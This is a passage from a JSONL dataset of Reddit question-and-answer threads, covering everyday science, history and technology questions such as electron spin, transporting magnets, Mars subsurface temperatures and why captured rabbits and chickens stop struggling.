using Crossfire functionality the way two separate cards would."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7z5jh1", "title": "What happens to the spin of an electron when it leaves a nucleus?", "selftext": "Lets say a photon collides with an atom, causing an electron on the outer shell to be knocked from orbit. \n\nFrom a classical sense, I would assume it takes some amount energy to change the spin of a particle, and that this amount of energy would depend on how far it's rotated.\u00a0 But, if an electron flies off of a nucleus, there could potentially be a magnetic field in ANY direction that the electron will then encounter. This means that\u00a0 the electrons spin could change to be oriented in any direction after it leaves the nucleus. \n\nNow, please correct me if I am wrong, but if I am right that changing the spin takes energy based on how much it has been rotated, there is a violation of energy conservation somewhere here, as the photon would contribute a quantized amount of energy that wouldn't be able to account for the future measurement at an arbitrary angle with respect to its original orientation.\n\nOr, am I wrong about energy and if the spin on the electron was originally up, will it just be measured as up in the magnetic field? \n\n\nThanks!\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7z5jh1/what_happens_to_the_spin_of_an_electron_when_it/", "answers": {"a_id": ["dulj6h9"], "score": [23], "text": ["The spin of an electron is always 1/2, you can never change that. However you can change its projection along some axis. If the Hamiltonian is dependent on some component of the spin vector, then the energy depends on the orientation of the spin of the particle. An example would be an electron in a magnetic field, where the magnetic dipole moment of the electron wants to align with the external magnetic field. You\u2019ll have a splitting of each possible energy energy into a doublet.\n\nI\u2019m not sure what you mean about electrons leaving the nucleus, and magnetic fields pointing in any direction. Can you describe specifically what situation you\u2019re imagining?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1k6wme", "title": "How are large natural magnets transported?", "selftext": "What the methods used to transport large and powerful permanent magnets to where they're needed without having cyclists sticking to the side of the truck along the way??   \n\nSo far the best answer I've found involved either using a lead lined box or thick plates to 'absorb' the magnetic field lines but then how do they remove the containers once the magnet is in place??  \n\nI'd really appreciate an answer! \nedit:grammar and terminology (thanks i_invented_the_ipod) ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1k6wme/how_are_large_natural_magnets_transported/", "answers": {"a_id": ["cbm0u90", "cbm0z4i", "cbm4ahe", "cbm8wtw"], "score": [10, 3, 5, 2], "text": ["Magnetic field strength decreases rapidly with distance. You don't need lead or plates or anything like that, just put the magnet on a wood pallet to keep it from sticking to the truck bed. ", "By \"natural magnet\", I'm going to assume you actually mean permanent magnet. Actual natural magnets (lodestones) are extremely weak.\n\nWhen transporting permanent magnets, you can either put enough packaging around the magnet to keep susceptible materials at a safe distance, or you can build a box around the magnet that provides a low-resistance magnetic path from one pole of the magnet to the other.\n\nFor particularly-large magnets, you might even do both - put the magnet in a wooden box, then line the outside of that box with soft steel sheeting to redirect the magnetic field back to the magnet.", "[This page](_URL_1_) at KJ Magnetics gives the low-down on how they ship the big, dangerous magnets like [this monster](_URL_0_). Bottom line, they pack them with a lot of space and measure the field outside the box to make sure it meets regulations regarding external magnetic field strength.\n\nEdit: [or this monster](_URL_2_). 1013 pounds pull force! Yikes.", "Take a look at this video:\n\n_URL_0_\n\nIt is really interesting"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.kjmagnetics.com/proddetail.asp?prod=DY0Y0-N52", "http://www.kjmagnetics.com/blog.asp?p=shipping", "http://www.kjmagnetics.com/proddetail.asp?prod=BZX0Z0Y0-N52"], ["http://www.youtube.com/watch?v=1zO9nWgI_LY"]]}
{"q_id": "3dn96m", "title": "why is every installer called wizard ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dn96m/eli5why_is_every_installer_called_wizard/", "answers": {"a_id": ["ct6sz6n", "ct6xhck", "ct6yu9s"], "score": [7, 116, 5], "text": ["I do believe the term \"wizard\" came from Microsoft Windows 97.\n\nWait. Windows 97? But there was no Windows 97.\n\nYou bet your ass there was! It was on the market for only a couple weeks before being RIPPED off the shelves for being so terrible. They fixed it up a bit and released Windows 98. Windows 97 bore us Clippy, the stupid fucking paperclip that annoys the hell outta you. The Wizard installer also had a fucking wizard guy that they gutted in Windows 98. But for some reason, despite the negative user feedback, they kept the fucking paperclip.", "To understand why installers are called wizards today you need to know what it was like to install big software programs before we had wizards.\n\nSometimes an installation could be pretty straightforward.  A simple unpacking of compressed files and sub-directories into a specific directory or sub.  You don't need a wizard for that.\n\nBut then people started making software that had multiple configurations.  Other people started making software that made changes to how your operating system behaved.  And yet more people started making software that needed to install its own support software first.  And none of this was automatic or easy.  It involved typing in specific commands and manually changing settings in your operating system prior to or after the install...or the software wouldn't work.\n\nThen, someone came up with the idea to create an interactive interface that presented these options and permission requests to the user during the installation.  A few buttons and some check boxes, and PRESTO!  you're complex installation with all the configurations and customization you wanted are taken care of instantly, like magic.\n\nAnd this step-by-step guideline process could be applied to more than just installations.  It may surprise younger people, but sending a file to a printer and having that printer apply ink to paper in the fashion you expected was not always that easy.  It was made easier with wizards, which hid away all the complicated configurations, asked you about the things that the average user was most concerned with, and then magically made everything work the way you wanted.\n\nSo why wizard, and not sorcerer, or warlock, or mage?\nWell, before wizards existed to automagically make software work simply and easily, the people who knew how to actually operate computers were often called wizards. \n\nThey were called wizards because wizard's specifically are the men and women of fabled stories who read ancient tomes of arcane script and managed to extract the secrets of magic from them.  No common man could simply read a spell-book.  The terminology and symbols were as foreign as different language, and only the most intelligent could decipher them.  Computer wizards read technical manuals and programming books during a time where the assembly language of computers was not a commonly understood or easily readable thing, and they unlocked the secrets of that language to harness the limitless power held within a microchip.", "\"Wizard\" is a term for a program that helps the user through some complicated process by letting the computer handle the finicky details. It's supposed to conjure the idea of a wise old mentor who gives you advice and magically helps you out with stuff. There were (and still are) Wizards for a lot of different things: Learning to use new software packages, creating certain kinds of files, connecting to the Internet, and so forth.\n\nBack in the fairly early days of Windows someone wrote a software library for Windows called the Install Wizard. Couldn't tell you exactly when, but I remember seeing it on all sorts of stuff in the late 90s. It was basically a wizard routine that asked where you wanted to put your new program, then put all the files in the right places, updated any settings that recorded where it put them, then asked you about any options you wanted set up on it. Before that, you had to do all that stuff by hand, and it sucked. Install wizards became very popular, and tons of developers built them into the program that installed their software."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4eijvq", "title": "I'm an English peasant (or really any non-noble) in the 12th century. How much does my life change during the Anarchy?", "selftext": "It sounds like it was a chaotic situation, obviously, but how much would life have changed for the lower levels of society during the succession crisis and subsequent civil war? I'm sure it kind of sucked for the ruing classes. Hearing it described as a time when \"men said openly that Christ and his saints were asleep\" makes it sound like a dystopian hellscape, but on the other hand, I would assume the general situation for a peasant, i.e, mostly just working and occasionally being levied into the army of some lord or another, wouldn't be terribly different from any other period of time from the era.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4eijvq/im_an_english_peasant_or_really_any_nonnoble_in/", "answers": {"a_id": ["d20xkrl"], "score": [2], "text": ["The standard method of feeding medieval armies was often to pillage the estates of your opponents.  So no, this was a rather bad time to be a peasant."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1l3zfx", "title": "How come there's a Amoeba with 200 times larger gene set than humans?", "selftext": "Amoeboid: _URL_1_\n\nGenome comparison: _URL_0_\n\nI thought larger the genome = more complex the species.\n\nIs that not the case, or is Amoeboid really more complex?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1l3zfx/how_come_theres_a_amoeba_with_200_times_larger/", "answers": {"a_id": ["cbvkqd4", "cbvsi79"], "score": [139, 2], "text": ["Eukaryote researcher here.\n\nThe *polychaos dubium* lifeform is far less complex than a human, even though it carries far more genetic code.\n\nA larger amount of genetic material *enhances the possibility* of greater complexity, but does not *guarantee* it. Note also that a great degree of *subjective complexity* can be had from a very small set of instructions (i.e. Conway's *Life*, Wolfram's ~~genetic algorithms~~ cellular automata).\n\nWhile *polychaos dubium* has a genome of over 670,000 Mb (more than 80 gigabytes), only about 23.6 Mb are actually used to code all the structures of the organism.\n\nThe remainder could be junk DNA, or it could be the deep-encoded knowledge of a lost Antarctic civilization. Only time and further research will tell.\n\n**Edit:** please note that one Mb is a million *bits* of information, not a million *bytes*.\n\n**Edit 2:** I am not, as others have surmised, a *professional* eukaryote researcher. In this particular field, I am merely an interested lay person. Still, I *am* a eukaryote researcher if only in that I researched eukaryotes for this comment.", "Please see the C value paradox or enigma: _URL_0_\n\nAs HasRelevantExpertise says, much of that is likely to be garbage -- most likely repetitive."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Genome", "http://en.wikipedia.org/wiki/Polychaos_dubium"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/C-value_enigma"]]}
{"q_id": "5jc8u2", "title": "how are nun chucks actually used? are they good weapons?", "selftext": "Idk how I would use them to fight if I had to. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jc8u2/eli5_how_are_nun_chucks_actually_used_are_they/", "answers": {"a_id": ["dbf0wgf", "dbf0xwx"], "score": [6, 2], "text": ["Developed in Okinawa (based, some claim, on the Chinese sectioned staff), the Nunchaku was never intended as a weapon of war, but as a training device. Practicing with it was meant to improve posture and hand-eye coordination, and for those reasons it's use was taught alongside other martial arts on the island.\n\nThere was never a historical period where they were considered relevant, nor were they used as a 'peasant weapon' as some popular myths suggest (peasants were forbidden to practice martial arts at all at the time).\n\nNevertheless, their use as an excellent training weapon keeps them relevant in a number of martial arts, and many find their use a rigorous challenge, participating in tournaments.", "No one is entirely sure of the nun chucks origins, the most popular theory is that was that they are based on a rice farming tool, although there isn't much evidence to support this.\n\nWhile it is a part of some martial arts, it's not a very effective weapon. They have little mass, which is essential for a bashing weapon like a mace if you actually want to hurt a person wearing armor, while being extremely difficult to use.\n\nIf you want a wooden weapon that you can use to defend yourself with, just get a solid baseball bat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1t981e", "title": "How does water pressure in a siphon change over its length?", "selftext": "If I have two barrels, one full and one empty, and I run a hose from the bottom of the full barrel over the lips of the barrels to the bottom of the second barrel and start a siphon, is the water pressure in the siphoning hose the same throughout the length of the siphon?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1t981e/how_does_water_pressure_in_a_siphon_change_over/", "answers": {"a_id": ["ce5no6b"], "score": [7], "text": ["Chemical engineer here. No, the pressure in the siphoning hose is not the same throughout. Friction between the tube walls and the fluid creates a pressure gradient from one end of the tube to the other. When there is flow, there is a pressure gradient. This formula sums it up.\n\n\u2206p/\u03c1 + \u2206(v2)/2\u03b1+g\u2206z +F = W"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9ia182", "title": "how do you predict what a good stock will be if you're an investor?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ia182/eli5_how_do_you_predict_what_a_good_stock_will_be/", "answers": {"a_id": ["e6hyuis", "e6i0w89", "e6ic94w"], "score": [4, 5, 3], "text": ["Look at whats happening in a specific industry and go from there, i guess.\n\nEG Gaming. Lets say I want to invest in Activision. I wouldnt do it just as a new game is released, because their stock will be high. I would wait until just before a game comes out (or even just before its announced) when the stock is lower, and invest then...", "You only need to answer a few very complicated questions... \n\nWill this company either grow in market share? \nOr... Will this company grow in profitability?\n\nAnd... Will this company have enough capital to do so?\n\nAside from those, valuation is the only other concern, but those factors above can override valuation in a lot of cases.", "Mostly you don't. There is fairly strong evidence that hardly anyone without inside information  can tell if a stock is even slightly more likely to go up or down vs. other stocks.\n\nThose who try and have any degree of success generally go deep on the actual business the company is in, understand why they are likely to be successful, scrutinize their market, customers, competitors and their detailed financials in the context of what is going on in the world in general. Then they try to come up with a valuation - an amount they think the company is worth.\n\nThen they look at the \"market cap\" which is the valuation their stock price reflects, and if their valuation is higher than the market cap, that suggests it is irrationally undervalued and should be bought."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "vo0b7", "title": "On earth you can reach a stable temperature about 20m underground (I think), would it work the same as on mars?", "selftext": "With all the recent hype about water and possible life on mars, what are the surface temperatures, and difference between night and day? And since here on earth you reach a relatively stable temperature at about 20m underground thought night and day, how far under the surface on mars would you have to go to reach stability, and would it be a survivable temperature? Would there even be a stable temperature there if the day/night fluctuations are too different?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vo0b7/on_earth_you_can_reach_a_stable_temperature_about/", "answers": {"a_id": ["c565hmu", "c565z7o", "c566243", "c5664en", "c566gq6", "c566pa0", "c567nj6"], "score": [51, 7, 324, 4, 7, 7, 33], "text": ["You can find out all about surface temperatures [here](_URL_0_).\n\nThe temperatures fluctuate much more wildly than on earth (about 100 degrees C versus 10-50 here), and so you would have to dig down considerably further to reach \"stability\". Mars solar day is only 3% longer than on earth, which would mean that the temperature fluctuation would not be diminished as it would on a faster rotating planet (think about roasting a s'more on a fire - the faster you turn it, the less it gets burned and the more the middle liquifies, which is a good analogy for this question).\n\nAs for soil composition, I am not sure but a geologist could help here. With the increased iron content in the soil my estimate is that the temperature stability would require more depth, since iron transmits heat fairly well and would thus be more prone to heat/cold on the surface.", "If you were to dig deep enough there would definitely be a point where water melts and would stay that way on a geological time-scale. The core will always be hotter due to leftover energy from gravitational accretion and nuclear decay.\n\nHowever Mars is geologically very 'dead' so this depth is probably deeper than it would be on Earth.\n\nThe temperature is not necessarily as important to life as having water in a liquid phase, which for pure water actually happens at slightly higher temperature in the atmosphere on Mars see this phase diagram _URL_0_\n\nOf course the caveat to this is that the water on Mars is likely very salty so I'ts freezing point could be as low as -15c for some salty solutions.", "What you are looking for is Mars Geothermal gradient\n\nA brine and clathrate (aqueous liquid) can exist at around 250K\n\nthe mean surface temperature on Mars is around 220K \n\nThe vital isotherm for our briny clathrate aqueous liquid is 250K, Isotherms at this tempurature would be found (according to our current, but not perfect models) at around 4.7 to 2.8 km deep depending on the ice saturation level of the regolith\n\nFresh water would require another 25K of warming and would require atleast another 4km of depth (read 8 km deep total)\n\n[source for everything on this subject!!!](_URL_0_)\n\nalso Im a geologist\n\nEDITED a few things to make it more clear and correct a number", "Vaguely related question: didn't we already know about water on mars before the past 24 hours? Or was that only water vapor?", "Followup question: If we created a tunnel system deep enough underground would it be possible to create an ecosystem with breathable air, water, etc.?", "As an engineer in the nether regions of Canada, I can tell you that at this latitude (50 deg N) at 3 metres (say 10 ft) underground stays a pretty constant 4-5 degrees C.  It warms up as you go deeper.  Here, depth is critical when designing water systems so they don't freeze.\n\nI would find it easy to believe that the thermal gradient is proportional to the relative gravity of Earth to Mars.  Therefore if you had to go down 9 m to avoid frost, triple it to account for the greater surface temperature variance and then say 30 m is how far underground you would have to be to avoid the temperature fluctuations at the surface.\n\nLivable temperatures would likely be deeper if you wanted to avoid energy consumption on heating.", "Why is everyone answering this from the point of view of other life/water?\n\nWhen I first read the question, I assumed it was asking about what it's asking about -- how far down you have to go to get a relatively stable temperature, and what that temperature is. If it's stable and at something inside a human comfort range, that sounds like it would be a good place to bury a habitat -- plus the regolith should protect the habitat from radiation as well, correct?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://hypertextbook.com/facts/2001/AlbertEydelman.shtml"], ["http://i.imgur.com/gSmhk.jpg"], ["http://www.lpi.usra.edu/meetings/geomars2001/pdf/7044.pdf"], [], [], [], []]}
{"q_id": "9uqwha", "title": "how does r/memeeconomy works?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9uqwha/eli5_how_does_rmemeeconomy_works/", "answers": {"a_id": ["e969r9g", "e96lolg"], "score": [6, 6], "text": ["To my understanding, the point of r/MemeEconomy is to make new meme formats and share them, and that's the majority of what is posted there.", "They analyze the popularity of meme formats and treat the popularity as stocks.\n\nThere's no actual traded currency, and the \"stocks\" is purely imaginary."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2wm1zb", "title": "Did Shakespeare visit any of the foreign countries he wrote about?", "selftext": "Scotland, Italy, Denmark, etc. Is there any evidence Shakespeare went to those places?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2wm1zb/did_shakespeare_visit_any_of_the_foreign/", "answers": {"a_id": ["coshwtf"], "score": [5], "text": ["Short answer, this is unknown.\n\nLonger answer, so is almost everything about Shakespeare's life. Day to day records weren't kept for most people (much less, surviving ones), and without a diary or similar personal journal, little can be known about the life of a commoner like him. Stephen Greenblatt's book \"Will in the World\" is the best reconstruction of Shakespeare's life I am aware of, and is based more on analysis and reasonable conjecture than on recorded documentation. For what it's worth, I don't recall it mentioning Shakespeare travelling abroad. Shakespeare was in London from his late teens, and would not have had the means to afford extensive travels until later in life, when his presence would have been sorely missed by the troupe with whom he worked, and the family he supported.\n\nMany of Shakespeare's works were based on or inspired by already extent works - Hamlet (Denmark) can be identified as a re-write of a play usually called \"Ur-Hamlet\" which was known a decade or more before Shakespeare's version (and is published in the back of the Arden Shakespeare edition of Hamlet, if you're interested). Many of his Italian settings, such as A Midsummer Night's Dream, are derived from classical references (Theseus is the mythical founder of Athens, Hippolyta features in the legends of Hercules, Titania and Oberon are names going back centuries, etc). Shakespeare was an expert at taking things that were already in the public mind in some way, and creating enjoyable stories about them that people would pay to see. He was a commercial playwright first and foremost - though well-regarded and successful in life, the \"cult of the bard\" as it's sometimes known was a development well after his death.\n\nFrom looking at the context and wordplay of Henry V, one can at least surmise that Shakespeare was either fluent in, or worked closely with somebody who was fluent in, French. It is no small thing to write a complete scene (H5 III-4) in another language, based entirely on puns between the two languages. French would not, however, have been an unusual language to possess, and does not evince anything related to travel, either way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5nslw5", "title": "when/why would you use a triangle-square gear assortment rather than 2 standard round gears?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5nslw5/eli5_whenwhy_would_you_use_a_trianglesquare_gear/", "answers": {"a_id": ["dcdyz6q"], "score": [2], "text": ["You use these when you need the speed to vary rhythmically, or when you want to move a tool (attached to the gear) in a specific pattern.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://machinedesign.com/motorsdrives/noncircular-gears-make-unconventional-moves"]]}
{"q_id": "2oqfa4", "title": "why do non-tame animals stop struggling when you hold them?", "selftext": "I have chickens and rabbits that I raise for meat and eggs.  All domesticated breeds, but none tame.  If I try to catch a chicken it will run like the dickens and if I grab its legs, it will struggle and try to fly away from me.  But once I catch it and hold it, it stops struggling and seems perfectly content in my arms.  wtf       \n\n\n\n\nSame with the rabbits.  I have this little rabbit pasture that I put them in for eating grass and breeding, and when I try to catch them to put them back in their boxes they run away, struggle, etc.  But once I have captured one it will sit contentedly in my arms when I'm holding it snugly (but not tightly).        \n\n\nI don't get it.  If they \"like\" being held, why run away in the first place?  If they don't like being held, why stop struggling once I'm holding them?  It's just weird.  Do completely wild versions of these animals stop struggling when you hold them snugly or do they keep struggling?\n\nEDIT:  I was not expecting to make the front page.  I figured I'd get maybe 20 replies at most.  I'll try to go through the comments to make some responses.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2oqfa4/eli5_why_do_nontame_animals_stop_struggling_when/", "answers": {"a_id": ["cmpk2af", "cmpmolz", "cmpmx7t", "cmpniai", "cmpnxfj", "cmpoaew", "cmpp3zp", "cmppdq7", "cmppk5m", "cmppt8w", "cmppzzj", "cmpqadz", "cmpqdiu", "cmpqdnt", "cmpr7mi", "cmprequ", "cmps0dh", "cmps8hb", "cmpskte", "cmpsp49", "cmpt72d", "cmpt856", "cmptt89", "cmptw85", "cmpufzx", "cmpv89t", "cmpvjlp", "cmpvsh4", "cmpwuxx", "cmpy8cg", "cmpyljx", "cmpzb20", "cmpzbxy", "cmpzd2s"], "score": [261, 966, 13, 2, 2, 6, 3, 11, 2, 7, 2, 4, 32, 511, 48, 2, 2, 7, 2, 13, 3, 3, 5, 5, 8, 3, 3, 2, 3, 3, 2, 2, 3, 5], "text": ["In rabbits, it's called trancing.\n\nAnd frankly, they stop because as an instinctive action, they shut down.\n\nThink of those goats that if you scare them they kinda just fall over and stay stiff.\n\nWhile it's funny to us, for the animal, it's extremely stressful, and can actually hurt the animal's mental health. If a rabbit has not been bonded to you, particularly, they will literally accept their fate most likely in the same way that possums play dead. No rabbit they know was killed while they were just standing still. They always see their mates running. So I assume they figure maybe if they stop running, you might just let them go. Like some kind of gamble.", "u/lilbuns has a better answer \n\n > Trancing is a little more specific than that. This is from [WikiHow](_URL_0_):\n\n > Putting your rabbit on his back and watching him seemingly completely relax is often called \u201ctrancing\u201d or \u201chypnotizing\u201d your rabbit. Actually, it is neither one. Is your rabbit in bliss? Not really. The state you have put your rabbit in is part of a bag of instinctual tricks to escape a predator. When a rabbit is grabbed by a predator the rabbit will \u201cfreeze\u201d and imitate prey that has been killed\u2026 a dead rabbit. By doing this the rabbit will boost its chances of escape and fatal injuries.\n\n > Trancing is \"Tonic Immobility\" or \"TI\" from the scientists perspective. It is considered to be a fear motivated defense mechanism. TI is considered a last attempt for prey to escape being eaten by a predator.\n\n > When the predator drops the supposedly \u201cdead\u201d rabbit or just relaxes its hold a bit, the rabbit will burst to life and try to escape. Rabbits will fight as a last resort if this fails.\n\n > Just to add to your comment, for other people who don't know: any videos you see of rabbits supposedly \"enjoying\" being held like a baby or brushed on their tummy...sorry but the rabbit does not enjoy that. Bunny getting bathed? Even worse. Rabbits should never be bathed. Their fur doesn't dry as fast as dogs, cats, rats, ferrets, etc, which makes them susceptible to hypothermia.\n\nMy bunnies just get angry when they're held like that. Sometimes I gotta clip their nails or cut poop out of their butt fur. They have the cutest angry, disappointed little faces. And they get so mad that they flick their heels at me when I finally release them (a sign of massive disapproval in bunny language). But everything turns out ok because I give them a treat afterwards.\n\nAlso the goats you're thinking of are [myotonic goats](_URL_1_).\n\n If they go still (play dead) you might release your death grip and they can escape. I don't think this is a mental process as much as an evolution. Seen it a couple times in wildlife films. One with a gazelle, one with a penguin. The predator releases it's kill hold and then the prey burst the fuck out of there to go make babies that survive in the same manner. ", "If it stands still the predator could think that the prey is already dead, releasing the grip (to eat or chase other preys) \n\nUnfortunately for the chicken it doesn't know that humans have a bigger brain than them, but a fox could be tricked \n\nedit: typo", "It is simply resting after a struggle and waiting for a chance to escape.", "Rabbits and chickens specifically exhibit this behavior, and you're generalizing it to all \"non-tame\" animals. Look up chicken or rabbit hypnosis.", "There are a few different things that could be happening.  In some cases, the prey stops moving in hopes the predator will assume it's dead--upon releasing the animal, it can immediately run away.\n\nSome predators are \"playful.\"  They attack moving prey only.  It's very similar to how a dog loses interest quickly if you stop giving chase.  If the predator isn't actually looking for a meal, there's a chance it may lose interest and leave.  Felines from the house cat to the lion do this often.\n\nAnother case is shock.  You'll see a lot of prey animals stop moving completely before a predator disembowels it--the prey isn't dead, but has completely given up.", "I remember reading about this in a book called about survival called The Unthinkable.  Most people are familiar with the fight or flight reflex, but there is actually a third reflex of freeze.  Which could be seen as a variation of flight, in that it is trying to hide in place.  Animals do this in the hope their predator won't see them, or if they \"play dead\" their predator will lose interest in them.\n\nThe story from the book of how freezing can be beneficial from an evolutionary standpoint even in humans, compared to either fighting or fleeing, came from a story about a mass shooting.  The guy was shot at and fell to the ground, thinking he had been fatally hit and was paralyzed because he couldn't make himself move.  The shooter passed him over not shooting at him again.  He survived the incident and later found he wasn't really even wounded.\n\n", "To flip the question a bit, are there any animals (tame or otherwise) that definitely DO like being held/cuddled?", "Sometimes dogs run from you when you chase them. I mean when you're the owner. When you stand still and look at it, it stays there and stares at you. But when you make a move towards it it runs, until it sees you standing still again. I played this game with my dogs often. This isn't the same for cats. Those fuckers have a mind of their own. Sometimes come as they please, and you can't get rid of it, sometimes they will not come to you, and run away, even if you pick them up and put them on your lap. Judging by this behavior, I can conclude that these are some sort of changed instinctive behavioral traits, where dogs have retained most of their predatory nature than cats. Considering that animals act on instinct and size means threat for them, it is logical to assume, that they will feel somewhat threatened by your size, always. However, most if not all animals, have the attachment to their parents. Although not all of them can recognize their parents \"by face\" - like a cat looking after ducklings, or a wolf pack, caring for a dog - they still will be attached to the larger animal, which has assumed the role of a parent/protector. Just like domestic animals, like dogs and cats, tend to stick to their owners, especially if they were brought in only a few days old and basically you become their parent. Following this logic, it is safe to assume that \"wilder\" animals, like rabbits, ducks, chicken, will have a similar attraction to you if you raise them personally. I can speculate, that if you feed them, warm them, stay close to them at all times, until they mature, they will show you signs of attraction and be more humble in your presence. This may not be strongly depicted at first, but after several generations, they may become more accustomed to you and thus become fully domesticated. Such cases are seen with foxes.", "They stop struggling? As someone who interacts with alligators almost weekly, I wish they'd get the news. They're strong and incorrigible. ", "Speak for yourself - my friend had a little feral kitten hanging around her house and my sister told me that she wanted it, if I could catch it.  So, one day I saw it in my friend's garage and I closed the doors.  It took me about an hour, but I finally caught that little 5-6 week old kitten...  And it fought back with every ounce of demon spawn it had in it.  I was wearing gloves and it clawed and bit the shit out of me.  5 years later and that cat LOVES my niece (my sister's daughter) - but anyone else even comes close to it and it immediately goes back into hell mode.  When they had it spayed, it took them two different attempts to sedate it - the vet told my sister they were afraid it may die, and she had to sign these waivers, as they had to pump that cat so full of sedatives - far beyond what it takes to put down most cats, simply because that cat wouldn't stop fighting them.", "humans do it too... if a human is up against a tiger or a bear or something, would you run around flailing your arms everywhere and screaming like a little girl? all that does is draw attention to yourself...\n\nby playing dead or making yourself small, you possibly reduce the level of interest from the predator or stand a small chance of scaring them if you go spring up and burst in to life suddenly whilst screaming... ", "Biologist here to tell you that all the answers so far in this thread are bullshit.\n\nAnimals are not human. Yet, humans tend to think of animals as if they respond to things like a human would respond. This is simply not true. Animals are much more simple creatures than humans are, and their responses are a lot less complicated.\n\nThe truth is, no one knows exactly why animals do what they do, because we cannot read their minds. And since we cannot read their minds, we tend to project our own minds onto the animals, which leads to significant bias. It means we say we understand, or we say we know why animals do what they do, but the truth is that we don't.\n\nHowever, we can try our best to step back from ourselves and look at what happens in nature, where humans are not present. What kind of interactions would a chicken or rabbit look forward to in the wild? Well, one interaction would be if a fox came upon them, in which case the fox would chase it down and bite it thereby killing it. Chickens and rabbits who run away from the fox are more likely to survive, so there is a positive selection (evolution) for this kind of behavior. However, if a chicken or rabbit is caught by the fox, they simply die, so once you have been caught there is no reason to have a secondary behavior pattern like trying to escape at all cost. The chickens and rabbits don't understand why they are running, they are not afraid like a human could be, it is simply their instinct to run when approached by a strange creature. \n\nThere are of course many different other aspects that could be brought up in a similar fashion, but no point in letting the discussion get out of hand. The point it, animals have instincts, and those instincts are in place to save their life. They do not understand the difference between \"safe\" and \"life threatening\", they simply act on instinct. They do have an instinct to run when being chased, but they don't have an instinct to run when they are just sitting still and being held (since holding doesn't occur in nature).", "A lot of the top comments on this thread are completely conjectural, which seems to defeat the purpose of ELI5 to me.  If you don't actually have scientific understanding of the question, please don't just guess.  It's very easy to make incorrect assumptions about animal behavior.  It's a science, too, and it's frustrating to see people spreading wrong infromation.\n\nBoth chickens and rabbits will \"freeze/\"play dead\" under the right circumstances.  It's called tonic immobility and it's a normal response to fear or stress.  \n\nEDIT: I posted this morning when the top comments were different.  No hate for friendly rabbit experts.  ", "Wildlife rehabber/vet here, most of my patients will be still once I have secured them in my arms, but they will not relax. Animals can still be stressed even if they appear calm and quiet on the outside. Rabbits, even pet rabbits, are an excellent example of this. They can have health issues that are painful and life threatening, and show no abnormalities whatsoever.", "I was hoping for funnier answers like rapid onset of Stockholm Syndrome or even because they've given up on life/contemplating their fate.", "I don't have an answer sorry man but does it kinda hurt when you kill an adorable little rabbit? How do you get used to it? Sorry it's not related just wondering. ", "I think people are overthinking this one based on the answers. \n\nIf an animal sees any possible chance of escape it will bolt.\n\nIf you have a firm hold on the animal it will go limp.\n\nEvolution favors it because the animal that still struggles when caught will get killed/injured by the usually much bigger and overpowering predator wishing to neutralize it. \n\nGoing limp and putting the predator at ease buys the prey time for a chance of several possibilities, which might give a window of opportunity for escape/survival.\n\ne.g\n\n- Predator wasn't hungry, loses interest.\n\n- Predator get's disturbed by other animals.  ", "My completely tame dog pees on me if I try to hold him. He's a corgi/basset/dachshund named Buster\n\n_URL_0_", "[Prime example of the behavior you're referencing, and how it works in nature.](_URL_0_)", "If you've done this a lot to the same animals, it may also be a case of [learned helplessness](_URL_0_), where they've figured out that they can't escape and no harm will come to them anyway. Conserve energy and wait it out, and things will be back to normal.", "I think maybe you haven't just held enough species of non-tame animals.  Have you ever picked up a goat, or a feral cat?  The goat will kick its legs and scream like you're cutting its head off, and the feral cat will attempt to cut your head off.", "When an animal stops struggling, the predator assumes the animal is dead/has given up so is likely to lower its guard. This lower guard allows the prey to escape. \n\nIf the prey keeps struggling the predator has no choice but to retain its death grip. ", "People who handle wild animals should always have Capture Myopathy in the back of their mind: \n_URL_0_", "Rabbits that are not tame do not 'sit contently' but 'freeze'. It's  part of their instinct... fight, flight and if that doesn't  work sit very still. The nose is often a give away with quick twitching because of the heavy adrenaline  breathing. Sometimes they tremble. In this stage you can even put them on their  backs and they'll  stay like that for a bit without being held.\n\nDisclaimer: i don't  enjoy stressing rabbits out. I have two pet rabbits from an animal  shelter who aren't  very tame. Sometimes  i have to handle  them for physical  check ups and medical  stuff.", "Fear response. Fight, Flight, Freeze.\n\nLike a spider plays dead to escape being eaten so a chicken plays dead when you \"hypnotise\" it by handling it until it shuts down in fear.", "Another perspective to take, coming from learning about Temple Grandin, being in tight 